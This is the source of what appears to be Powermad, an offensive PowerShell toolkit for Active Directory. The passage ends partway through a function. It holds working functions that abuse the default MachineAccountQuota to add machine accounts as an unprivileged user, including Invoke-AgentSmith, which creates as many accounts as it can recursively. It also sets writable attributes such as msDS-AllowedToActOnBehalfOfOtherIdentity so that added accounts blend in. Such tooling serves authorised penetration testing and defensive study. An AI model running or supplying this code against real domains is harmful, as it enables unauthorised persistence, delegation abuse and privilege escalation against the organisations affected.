<#
Powermad - PowerShell MachineAccountQuota and DNS exploit tools
Author: Kevin Robertson (@kevin_robertson)  
License: BSD 3-Clause 
https://github.com/Kevin-Robertson/Powermad
#>

#region begin MachineAccountQuota Functions

function Disable-MachineAccount
{
    <#
    .SYNOPSIS
    This function disables a machine account that was added through New-MachineAccount. This function should be
    used with the same user that created the machine account.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    Machine accounts added with New-MachineAccount cannot be deleted with an unprivileged user. Although users
    can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is
    just left in a disabled state. This function provides that ability by setting the AccountDisabled to true.
    Ideally, the account is removed after elevating privilege.

    .PARAMETER Credential
    PSCredential object that will be used to disable the machine account.

    .PARAMETER DistinguishedName
    Distinguished name for the computers OU.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER MachineAccount
    The username of the machine account that will be disabled.

    .EXAMPLE
    Disable a machine account named test.
    Disable-MachineAccount -MachineAccount test

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$MachineAccount,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if($MachineAccount.EndsWith('$'))
    {
        $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
    }
    else
    {
        $machine_account = $MachineAccount  
    }

    if(!$DistinguishedName)
    {
        $distinguished_name = "CN=$machine_account,CN=Computers"
        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    if(!$directory_entry.InvokeGet("AccountDisabled"))
    {

        try 
        {
            $directory_entry.InvokeSet("AccountDisabled","True")
            $directory_entry.SetInfo()
            Write-Output "[+] Machine account $MachineAccount disabled"
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
        }

    }
    else
    {
        Write-Output "[-] Machine account $MachineAccount is already disabled"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }
    
}

function Enable-MachineAccount
{
    <#
    .SYNOPSIS
    This function enables a machine account that was disabled through Disable-MachineAccount. This function should
    be used with the same user that created the machine account.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function sets a machine account's AccountDisabled attribute to false.

    .PARAMETER Credential
    PSCredential object that will be used to disable the machine account.

    .PARAMETER DistinguishedName
    Distinguished name for the computers OU.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER MachineAccount
    The username of the machine account that will be enabled.

    .EXAMPLE
    Enable a machine account named test.
    Enable-MachineAccount -MachineAccount test

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$MachineAccount,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if($MachineAccount.EndsWith('$'))
    {
        $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
    }
    else
    {
        $machine_account = $MachineAccount  
    }

    if(!$DistinguishedName)
    {
        $distinguished_name = "CN=$machine_account,CN=Computers"
        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    if($directory_entry.InvokeGet("AccountDisabled"))
    {

        try 
        {
            $directory_entry.InvokeSet("AccountDisabled","False")
            $directory_entry.SetInfo()
            Write-Output "[+] Machine account $MachineAccount enabled"
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
        }

    }
    else
    {
        Write-Output "[-] Machine account $MachineAccount is already enabled"   
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }
    
}

function Get-MachineAccountAttribute
{
    <#
    .SYNOPSIS
    This function can return values populated in machine account attributes.

    .DESCRIPTION
    This function is primarily for use with New-MachineAccount and Set-MachineAccountAttribute.
    
    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 

    .PARAMETER Credential
    PSCredential object that will be used to read the attribute.

    .PARAMETER DistinguishedName
    Distinguished name for the computers OU.

    .PARAMETER Domain
    The targeted domain. This parameter is mandatory on a non-domain attached system. Note this parameter
    requires a DNS domain name and not a NetBIOS version.

    .PARAMETER DomainController
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER MachineAccount
    The username of the machine account that will be modified.

    .PARAMETER Attribute
    The machine account attribute.

    .EXAMPLE
    Get the value of the description attribute from a machine account named test.
    Get-MachineAccountAttribute -MachineAccount test -Attribute description

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$MachineAccount,
        [parameter(Mandatory=$true)][String]$Attribute,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if($MachineAccount.EndsWith('$'))
    {
        $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
    }
    else
    {
        $machine_account = $MachineAccount
    }

    if(!$DistinguishedName)
    {
        $distinguished_name = "CN=$machine_account,CN=Computers"
        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {
        $output = $directory_entry.InvokeGet($Attribute)
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

    return $output
}

function Get-MachineAccountCreator
{
    <#
    .SYNOPSIS
    This function leverages the ms-DS-CreatorSID property on machine accounts to return a list
    of usernames or SIDs and the associated machine account. The ms-DS-CreatorSID property is only
    populated when a machine account is created by an unprivileged user. Note that SIDs will be returned
    over usernames if SID to username lookups fail through System.Security.Principal.SecurityIdentifier.

    .DESCRIPTION
    This function can be used to see how close a user is to a ms-DS-MachineAccountQuota before
    using New-MachineAccount.
    
    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 

    .PARAMETER Credential
    PSCredential object that will be used enumerate machine account creators.

    .PARAMETER DistinguishedName
    Distinguished name for the computers OU.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .EXAMPLE
    Get the ms-DS-CreatorSID values for a domain.
    Get-MachineAccountCreator

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$DistinguishedName)
    {
        $distinguished_name = "CN=Computers"
        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = $DistinguishedName
    }

    try
    {

        if($Credential)
        {
            $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
        }
        else
        {
            $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
        }
        
        $machine_account_searcher = New-Object DirectoryServices.DirectorySearcher 
        $machine_account_searcher.SearchRoot = $directory_entry  
        $machine_account_searcher.PageSize = 1000
        $machine_account_searcher.Filter = '(&(ms-ds-creatorsid=*))'
        $machine_account_searcher.SearchScope = 'Subtree'
        $machine_accounts = $machine_account_searcher.FindAll()
        $creator_object_list = @()
            
        ForEach($account in $machine_accounts)
        {
            $creator_SID_object = $account.properties."ms-ds-creatorsid"

            if($creator_SID_object)
            {
                $creator_SID = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID_object[0],0)).Value
                $creator_object = New-Object PSObject

                try
                {

                    if($Credential)
                    {
                        $creator_account = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/<SID=$creator_SID>",$Credential.UserName,$credential.GetNetworkCredential().Password)
                        $creator_account_array = $($creator_account.distinguishedName).Split(",")
                        $creator_username = $creator_account_array[($creator_account_array.Length - 2)].SubString(3).ToUpper() + "\" + $creator_account_array[0].SubString(3)    
                    }
                    else
                    {
                        $creator_username = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID)).Translate([System.Security.Principal.NTAccount]).Value                        
                    }

                    Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_username
                }
                catch
                {
                    Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_SID
                }
                
                Add-Member -InputObject $creator_object -MemberType NoteProperty -Name "Machine Account" $account.properties.name[0]
                $creator_object_list += $creator_object
                $creator_SID_object = $null
            }

        }

    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
        throw
    }

    Write-Output $creator_object_list | Sort-Object -property @{Expression = {$_.Creator}; Ascending = $false}, "Machine Account" | Format-Table -AutoSize

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

}

function Invoke-AgentSmith
{
    <#
    .SYNOPSIS
    This function leverages New-MachineAccount to recursively create as as many machine accounts as possible
    from a single unprivileged account through MachineAccountQuota. With a default MachineAccountQuota of 10,
    the most common result will be 110 accounts. This is due to the transitive quota of Q + Q * 1 where Q
    equals the MachineAccountQuota setting. The transitive quota can often be exceeded to the total number of
    created accounts can vary. I wouldn't recommend running this one on a client network unless you have a
    good reason.

    .DESCRIPTION
    This function leverages New-MachineAccount to recursively create as as many machine accounts as possible
    from a single unprivileged account through MachineAccountQuota.
    
    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 

    .PARAMETER Credential
    PSCredential object that will be used enumerate machine account creators.

    .PARAMETER DistinguishedName
    Distinguished name for the computers OU.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Domain
    The targeted domain in netBIOS format. This will be used to create the PSCredential object as the function cycles
    through the machine accounts.

    .PARAMETER MachineAccountPrefix
    The prefix for the machine account names. The prefix will be incremented by one for each account creation attempt.

    .PARAMETER MachineAccountQuota
    The domain's MachineAccountQuota setting.
    
    .PARAMETER NoWarning
    Switch to remove the warning prompt.

    .PARAMETER Password
    The securestring of the password for the machine accounts.

    .PARAMETER Sleep
    The delay in milliseconds between account creation attempts.

    .EXAMPLE
    Invoke-AgentSmith -MachineAccountPrefix test

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    ( 
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$false)][String]$NetBIOSDomain,
        [parameter(Mandatory=$false)][String]$MachineAccountPrefix = "AgentSmith",
        [parameter(Mandatory=$false)][Int]$MachineAccountQuota = 10,
        [parameter(Mandatory=$false)][Int]$Sleep = 0,
        [parameter(Mandatory=$false)][System.Security.SecureString]$Password,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(Mandatory=$false)][Switch]$NoWarning,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    $i = 0
    $j = 1
    $k = 1
    $MachineAccountQuota--

    if(!$NoWarning)
    {
        $confirm_invoke = Read-Host -Prompt "Are you sure you want to do this? (Y/N)"
    }

    if(!$Password)
    {
        $password = Read-Host -Prompt "Enter a password for the new machine accounts" -AsSecureString
    }

    if(!$NetBIOSDomain)
    {

        try
        {
            $NetBIOSDomain = (Get-ChildItem -path env:userdomain).Value
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if($confirm_invoke -eq 'Y' -or $NoWarning)
    {

        :main_loop while($i -le $MachineAccountQuota)
        {
            $MachineAccount = $MachineAccountPrefix + $j
            
            try
            {
                $output = New-MachineAccount -MachineAccount $MachineAccount -Credential $Credential -Password $Password -Domain $Domain -DomainController $DomainController -DistinguishedName $DistinguishedName

                if($output -like "*The server cannot handle directory requests*")
                {
                    Write-Output "[-] Limit reached with $account"
                    $switch_account = $true
                    $j--
                }
                else
                {   
                    Write-Output $output  
                    $success = $j
                }

            }
            catch
            {

                if($_.Exception.Message -like "*The supplied credential is invalid*")
                {
                    
                    if($j -gt $success)
                    {
                        Write-Output "[-] Machine account $account was not added"
                        Write-Output "[-] No remaining machine accounts to try"
                        Write-Output "[+] Total machine accounts added = $($j - 1)"         
                        break main_loop
                    }

                    $switch_account = $true
                    $j--
                }
                else
                {
                    Write-Output "[-] $($_.Exception.Message)"    
                }

            }

            if($i -eq 0)
            {
                $account =  "$NetBIOSDomain\$MachineAccountPrefix" + $k + "$"
            }

            if($i -eq $MachineAccountQuota -or $switch_account)
            {
                Write-Output "[*] Trying machine account $account"
                $credential = New-Object System.Management.Automation.PSCredential ($account, $password)
                $i = 0
                $k++
                $switch_account = $false
            }
            else
            {
                $i++
            }

            $j++

            Start-Sleep -Milliseconds $Sleep
        }

    }
    else
    {
        Write-Output "[-] Function exited without adding machine accounts"
    }

}

function New-MachineAccount
{
    <#
    .SYNOPSIS
    This function adds a machine account with a specified password to Active Directory through an encrypted LDAP
    add request. By default standard domain users can add up to 10 systems to AD (see ms-DS-MachineAccountQuota).

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    The main purpose of this function is to leverage the default ms-DS-MachineAccountQuota attribute setting which
    allows all domain users to add up to 10 computers to a domain. The machine account and HOST SPNs are added
    directly through an LDAP connection to a domain controller and not by attaching the host system to Active
    Directory. This function does not modify the domain attachment and machine account associated with the host
    system.

    Note that you will not be able to remove the account without elevating privilege. You can however disable the
    account as long as you maintain access to the account used to create the machine account.

    .PARAMETER Credential
    PSCredential object that will be used to create the machine account.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER DistinguishedName
    Distinguished name for the computers OU.

    .PARAMETER MachineAccount
    The machine account that will be added.

    .PARAMETER Password
    The securestring of the password for the machine account.

    .EXAMPLE
    Add a machine account named test.
    New-MachineAccount -MachineAccount test

    .EXAMPLE
    Add a machine account named test with a password of Summer2018!.
    $machine_account_password = ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force
    New-MachineAccount -MachineAccount test -Password $machine_account_password

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$MachineAccount,
        [parameter(Mandatory=$false)][System.Security.SecureString]$Password,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")

    if(!$Password)
    {
        $password = Read-Host -Prompt "Enter a password for the new machine account" -AsSecureString
    }

    $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password)
    $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR)

    if(!$DomainController -or !$Domain)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }
    
    $Domain = $Domain.ToLower()
    $machine_account = $MachineAccount

    if($MachineAccount.EndsWith('$'))
    {
        $sam_account = $machine_account
        $machine_account = $machine_account.SubString(0,$machine_account.Length - 1)
    }
    else 
    {
        $sam_account = $machine_account + "$"
    }

    Write-Verbose "[+] SAMAccountName = $sam_account" 

    if(!$DistinguishedName)
    {
        $distinguished_name = "CN=$machine_account,CN=Computers"
        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = $DistinguishedName
    }

    $password_cleartext = [System.Text.Encoding]::Unicode.GetBytes('"' + $password_cleartext + '"')
    $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)

    if($Credential)
    {
        $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential())
    }
    else
    {
        $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
    }
    
    $connection.SessionOptions.Sealing = $true
    $connection.SessionOptions.Signing = $true
    $connection.Bind()
    $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
    $request.DistinguishedName = $distinguished_name
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$sam_account)) > $null
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","4096")) > $null
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$machine_account.$Domain")) > $null
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$machine_account.$Domain",
        "RestrictedKrbHost/$machine_account.$Domain","HOST/$machine_account","RestrictedKrbHost/$machine_account")) > $null
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$password_cleartext)) > $null
    Remove-Variable password_cleartext

    try
    {
        $connection.SendRequest($request) > $null
        Write-Output "[+] Machine account $MachineAccount added"
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"

        if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*')
        {
            Write-Output "[!] User may have reached ms-DS-MachineAccountQuota limit"
        }

    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

}

function Remove-MachineAccount
{
    <#
    .SYNOPSIS
    This function removes a machine account with a privileged account.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    Machine accounts added with MachineAccountQuote cannot be deleted with an unprivileged user. Although users
    can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is
    just left in a disabled state. This function provides the ability to delete a machine account once a
    privileged account has been obtained.

    .PARAMETER Credential
    PSCredential object that will be used to delete the ADIDNS node.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS node.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER MachineAccount
    The machine account that will be removed.

    .EXAMPLE
    Remove a machine account named test with domain admin credentials.
    Remove-MachineAccount -MachineAccount test -Credential $domainadmin

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$MachineAccount,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if($MachineAccount.EndsWith('$'))
    {
        $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
    }
    else
    {
        $machine_account = $MachineAccount  
    }

    if(!$DistinguishedName)
    {
        $distinguished_name = "CN=$machine_account,CN=Computers"
        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {
        $directory_entry.psbase.DeleteTree()
        Write-Output "[+] Machine account $MachineAccount removed"
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

}

function Set-MachineAccountAttribute
{
    <#
    .SYNOPSIS
    This function can populate an attribute for an account that was added through New-MachineAccount. Write
    access to the attribute is required. This function should be used with the same user that created the
    machine account.

    .DESCRIPTION
    The user account that creates a machine account is granted write access to some attributes. These attributes
    can be leveraged to help an added machine account blend in better or change values that were restricted by
    validation when the account was created.

    Here is a list of some of the usual write access enabled attributes:

    AccountDisabled
    description
    displayName
    DnsHostName
    ServicePrincipalName
    userParameters
    userAccountControl
    msDS-AdditionalDnsHostName
    msDS-AllowedToActOnBehalfOfOtherIdentity
    SamAccountName

    Author: Kevin Robertson (@kevin_robertson)
    License: BSD 3-Clause

    .PARAMETER Append
    Switch: Appends a value rather than overwriting.

    .PARAMETER Credential
    PSCredential object that will be used to modify the attribute.

    .PARAMETER DistinguishedName
    Distinguished name for the computers OU.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER MachineAccount
    The username of the machine account that will be modified.

    .PARAMETER Attribute
    The machine account attribute.

    .PARAMETER Value
    The machine account attribute value.

    .EXAMPLE
    Set the description attribute to a value of "test value" on a machine account named test.
    Set-MachineAccountAttribute -MachineAccount test -Attribute description -Value "test value"

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$MachineAccount,
        [parameter(Mandatory=$true)][String]$Attribute,
        [parameter(Mandatory=$true)]$Value,
        [parameter(Mandatory=$false)][Switch]$Append,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if($MachineAccount.EndsWith('$'))
    {
        $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
    }
    else
    {
        $machine_account = $MachineAccount  
    }

    if(!$DistinguishedName)
    {
        $distinguished_name = "CN=$machine_account,CN=Computers"
        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {

        if($Append)
        {
            $directory_entry.$Attribute.Add($Value) > $null
            $directory_entry.SetInfo()
            Write-Output "[+] Machine account $machine_account attribute $Attribute appended"
        }
        else
        {
            $directory_entry.InvokeSet($Attribute,$Value)
            $directory_entry.SetInfo()
            Write-Output "[+] Machine account $machine_account attribute $Attribute updated"
        }
    }
    catch
    {
